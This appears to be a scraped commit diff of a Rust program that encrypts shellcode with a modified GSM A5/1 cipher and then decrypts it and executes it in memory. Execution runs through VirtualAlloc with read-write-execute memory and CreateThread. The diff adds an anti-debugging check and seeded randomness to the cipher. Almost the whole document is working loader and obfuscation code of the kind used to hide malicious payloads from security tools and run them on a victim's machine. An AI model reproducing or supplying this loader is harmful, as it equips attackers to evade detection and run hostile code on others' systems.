1
1
/*
2
- Encrypt and Execute Shellcode using GSM A5/1 algorithm .
2
+ Encrypt shellcode using a modified A5/1 cipher with seeded randomness .
3
3
Author: 5mukx
4
4
*/
5
5
6
+ /*
7
+ [dependencies]
8
+ rand = "0.8.5"
9
+ rand_chacha = "0.3.1"
10
+ winapi = { version = "0.3.9", features = ["memoryapi","processthreadsapi","synchapi","winnt"]}
11
+ */
12
+
6
13
use std:: { fs:: { self , File } , io:: Write , ptr:: null_mut} ;
7
14
15
+ use rand:: { Rng , SeedableRng } ;
8
16
use winapi:: um:: {
9
17
memoryapi:: { VirtualAlloc , VirtualFree } ,
10
- processthreadsapi:: CreateThread ,
18
+ processthreadsapi:: { CreateThread , GetCurrentProcessId , OpenProcess } ,
11
19
synchapi:: WaitForSingleObject ,
12
20
winnt:: { MEM_COMMIT , MEM_RELEASE , PAGE_EXECUTE_READWRITE }
13
21
} ;
14
22
23
+
15
24
const A51_KEY_SIZE : usize = 8 ;
16
25
17
26
fn a5_step ( x : u32 , y : u32 , z : u32 ) -> u32 {
18
27
( x & y) ^ ( x & z) ^ ( y & z)
19
28
}
20
29
21
- fn a5_1_encrypt ( key : & [ u8 ] , msg : & [ u8 ] ) -> Vec < u8 > {
30
+
31
+ fn check_for_debugger ( ) -> bool {
32
+ unsafe {
33
+ let pid = GetCurrentProcessId ( ) ;
34
+ let handle = OpenProcess (
35
+ 0x000F0000 | 0x00100000 | 0xFFFF ,
36
+ 0 ,
37
+ pid
38
+ ) ;
39
+
40
+ handle. is_null ( )
41
+ }
42
+ }
43
+
44
+ fn a5_1_encrypt ( key : & [ u8 ] , msg : & [ u8 ] , seed : u64 ) -> Vec < u8 > {
45
+
46
+ let mut rng = rand_chacha:: ChaCha8Rng :: seed_from_u64 ( seed) ;
47
+
22
48
let mut r1 = 0u32 ;
23
49
let mut r2 = 0u32 ;
24
50
let mut r3 = 0u32 ;
@@ -28,7 +54,8 @@ fn a5_1_encrypt(key: &[u8], msg: &[u8]) -> Vec<u8> {
28
54
let feedback = ( ( key[ i % key. len ( ) ] >> ( i / 8 ) ) & 1 ) as u32
29
55
^ ( r1 >> 18 & 1 )
30
56
^ ( r2 >> 21 & 1 )
31
- ^ ( r3 >> 22 & 1 ) ;
57
+ ^ ( r3 >> 22 & 1 )
58
+ ^ ( rng. gen :: < u32 > ( ) & 1 ) ;
32
59
r1 = ( r1 << 1 ) | feedback;
33
60
r2 = ( r2 << 1 ) | ( ( r1 >> 8 ) & 1 ) ;
34
61
r3 = ( r3 << 1 ) | ( ( r2 >> 10 ) & 1 ) ;
@@ -52,8 +79,8 @@ fn a5_1_encrypt(key: &[u8], msg: &[u8]) -> Vec<u8> {
52
79
. collect ( )
53
80
}
54
81
55
- fn a5_1_decrypt ( key : & [ u8 ] , cipher : & [ u8 ] ) -> Vec < u8 > {
56
- a5_1_encrypt ( key, cipher) // decryption func is the same as encryption for A5/1
82
+ fn a5_1_decrypt ( key : & [ u8 ] , cipher : & [ u8 ] , seed : u64 ) -> Vec < u8 > {
83
+ a5_1_encrypt ( key, cipher, seed ) // decryption func is the same as encryption for A5/1 -> Just pause the keys with enc data !
57
84
}
58
85
59
86
fn read_file ( path : & str ) -> Vec < u8 > {
@@ -66,6 +93,11 @@ fn write_file(path: &str, data: &[u8]) {
66
93
}
67
94
68
95
fn execute_shellcode ( shellcode : & [ u8 ] ) {
96
+ if check_for_debugger ( ) {
97
+ println ! ( "[-] Debugger detected, exiting..." ) ;
98
+ std:: process:: exit ( 0x100 ) ;
99
+ }
100
+
69
101
unsafe {
70
102
let mem = VirtualAlloc (
71
103
null_mut ( ) ,
@@ -75,7 +107,8 @@ fn execute_shellcode(shellcode: &[u8]) {
75
107
) ;
76
108
77
109
if mem. is_null ( ) {
78
- panic ! ( "Failed to allocate memory for shellcode" ) ;
110
+ println ! ( "[-] Failed to allocate memory for shellcode" ) ;
111
+ std:: process:: exit ( 0x100 ) ;
79
112
}
80
113
81
114
std:: ptr:: copy_nonoverlapping ( shellcode. as_ptr ( ) , mem as * mut u8 , shellcode. len ( ) ) ;
@@ -91,28 +124,34 @@ fn execute_shellcode(shellcode: &[u8]) {
91
124
92
125
if thread. is_null ( ) {
93
126
VirtualFree ( mem, 0 , MEM_RELEASE ) ;
94
- panic ! ( "Failed to create thread for shellcode" ) ;
127
+ println ! ( "[-] Failed to create thread for shellcode" ) ;
128
+ std:: process:: exit ( 0x100 ) ;
95
129
}
96
130
97
- WaitForSingleObject ( thread, u32 :: MAX ) ;
131
+ WaitForSingleObject ( thread, 0xFFFFFFFF ) ;
98
132
VirtualFree ( mem, 0 , MEM_RELEASE ) ;
99
133
}
100
134
}
101
135
102
136
fn main ( ) {
103
137
let key: [ u8 ; A51_KEY_SIZE ] = [ 0x11 , 0x22 , 0x33 , 0x44 , 0x55 , 0x66 , 0x77 , 0x88 ] ;
138
+
139
+ // replace your bin file
104
140
let input_file = "msgbox_shellcode.bin" ;
105
141
let encrypted_file = "encrypt_msg.bin" ;
106
142
let decrypt_file = "decrypt_msg.bin" ;
107
143
144
+ // using seed rng to generate the same sequence of random numbers.
145
+ let seed = 1024 ;
146
+
108
147
// encrypt_function exec
109
148
let shellcode = read_file ( & input_file) ;
110
- let encrypt_shellcode = a5_1_encrypt ( & key, & shellcode) ;
149
+ let encrypt_shellcode = a5_1_encrypt ( & key, & shellcode, seed ) ;
111
150
write_file ( & encrypted_file, & encrypt_shellcode) ;
112
151
113
152
// decrypt_function exec
114
153
let encrypt_data = read_file ( & encrypted_file) ;
115
- let decrypt_shellcode = a5_1_decrypt ( & key, & encrypt_data) ;
154
+ let decrypt_shellcode = a5_1_decrypt ( & key, & encrypt_data, seed ) ;
116
155
write_file ( & decrypt_file, & decrypt_shellcode) ;
117
156
118
157
// sample func to test and execute shellcode.
0 commit comments